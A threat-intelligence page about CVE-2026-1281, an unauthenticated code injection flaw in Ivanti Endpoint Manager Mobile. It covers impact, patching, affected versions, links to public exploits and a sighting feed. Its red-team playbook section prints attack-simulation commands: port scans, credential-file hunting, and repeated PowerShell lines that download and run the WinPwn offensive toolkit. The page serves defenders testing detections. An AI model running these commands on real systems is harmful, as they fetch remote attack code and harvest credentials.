CVE-2026-1281
Overview
This vulnerability is a code injection flaw rooted in improper handling of user-supplied input within Ivanti Endpoint Manager Mobile. Specifically, the affected component fails to sanitize input parameters, enabling injection of arbitrary code into the execution context. The flaw resides in the mobile management interface, which processes remote requests without adequate validation, allowing attackers to inject and execute code remotely without authentication.
Vulnerability Description
A code injection in Ivanti Endpoint Manager Mobile allowing attackers to achieve unauthenticated remote code execution.
Impact
An attacker can execute arbitrary code on the Ivanti Endpoint Manager Mobile server remotely without any authentication or user interaction. This grants full control over the affected system, potentially allowing data exfiltration, system manipulation, or lateral movement within the network. The vulnerability can lead to complete compromise of the management environment, affecting endpoint security posture and operational integrity.
Solution
Ivanti has released security updates addressing this vulnerability in Ivanti Endpoint Manager Mobile versions 12.7.1.0 and later. Administrators should apply the latest patches as detailed in the Ivanti Security Advisory linked at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340. No alternative workarounds are provided; prompt patching is recommended to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability present in Ivanti Endpoint Manager Mobile is characterized by a code injection flaw that allows attackers to execute arbitrary code remotely without any authentication. This type of vulnerability typically arises from improper input validation, where user-supplied data is not adequately sanitized before being processed by the application. In this case, the affected versions of the software fail to properly handle input, enabling malicious actors to craft specially designed requests that can manipulate the execution flow of the application. The high severity score of 9.8 indicates that the potential impact of successful exploitation is significant, as it could lead to complete system compromise.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker could exploit it. An adversary could leverage various methods, including sending crafted HTTP requests to the application, to trigger the code injection. Given that the vulnerability allows for unauthenticated access, an attacker does not need to possess valid credentials or be an authenticated user to execute their payload. This opens the door for a wide range of exploitation scenarios, including but not limited to deploying malware, exfiltrating sensitive data, or taking control of the affected system entirely. The ability to execute arbitrary code remotely means that attackers could potentially pivot to other systems within the network, escalating their access and impact.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on Ivanti Endpoint Manager Mobile for managing their mobile devices. Successful exploitation could lead to unauthorized access to sensitive corporate data, including personal information, proprietary business information, and other critical assets. The financial ramifications could be severe, encompassing costs associated with incident response, potential regulatory fines, and reputational damage. Furthermore, the risk of data breaches could lead to loss of customer trust, which is often difficult to recover. Organizations may also face increased scrutiny from stakeholders and regulatory bodies, further compounding the business risk.
To address this vulnerability, organizations must implement robust detection and mitigation strategies. Regularly updating and patching affected software versions is crucial, as vendors typically release security updates to remediate known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to monitor and filter incoming traffic, thus providing an additional layer of protection against malicious requests. Conducting regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Furthermore, implementing strict access controls and monitoring for unusual activity can aid in detecting potential exploitation attempts early.
In conclusion, the code injection vulnerability in Ivanti Endpoint Manager Mobile poses a significant threat to organizations utilizing this software. The potential for unauthenticated remote code execution underscores the critical need for proactive security measures. By understanding the technical details, attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Through diligent patch management, robust detection strategies, and a comprehensive security posture, the risks associated with this vulnerability can be effectively mitigated, safeguarding both organizational assets and customer trust.
CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2026-1281, reflected by a modest rise in telemetry signals and an upward adjustment in the Exploit Prediction Scoring System (EPSS) score. While the overall trend remains stable without rapid escalation, this uptick indicates continued interest from threat actors in leveraging the unauthenticated remote code execution vulnerability within Ivanti Endpoint Manager Mobile. The availability of multiple proof-of-concept exploits and a Metasploit module further lowers the barrier for exploitation, sustaining the vulnerability’s attractiveness for adversaries. Although no direct ransomware group associations have emerged, the persistent exploitation potential underscores the criticality of maintaining vigilant detection and response measures. Consequently, the threat level remains critical, with the evolving exploitation landscape reinforcing the urgency for defenders to monitor for signs of compromise and adapt their security posture accordingly.
Update 2 — July 04, 2026
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2026-1281, reflecting increased adversary interest in leveraging this unauthenticated remote code execution vulnerability in Ivanti Endpoint Manager Mobile. Although the overall exploitation trend remains stable, the uptick in detection activity signals a growing operational tempo among threat actors, likely driven by the availability of multiple proof-of-concept exploits and a functional Metasploit module. This heightened activity elevates the risk of successful intrusions, particularly in environments where patching and mitigation efforts are delayed or incomplete. While no new ransomware group associations have been identified, the increased exploitation attempts underscore the persistent attractiveness of this vulnerability for a broad range of attackers. Consequently, the threat level remains critical, with the evolving exploitation dynamics reinforcing the imperative for continuous monitoring and rapid incident response to mitigate potential impacts.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager Mobile | All |
cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | 12.5.1.0 |
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.5.1.0:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | 12.6.0.0 |
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.6.0.0:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | 12.6.1.0 |
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.6.1.0:*:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager Mobile | 12.7.0.0 |
cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE
exploits/linux/http/ivanti_epmm_rce
|
watchTowr, sfewer-r7 | Unknown | unix, linux | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE
Proof of Concept for CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE via Bash Arithmetic Expansion
|
MehdiLeDeaut | 4 | 1 | 2026-02-07 | View |
|
YunfeiGE18/CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE
A simple demo application that shows how to reproduce the Ivanti EPMM pre-auth RCE vulnerability (CVE-2026-1281 / CVE-20...
|
YunfeiGE18 | 3 | 0 | 2026-02-19 | View |
Threat Feed
26 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-1281 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-1281 |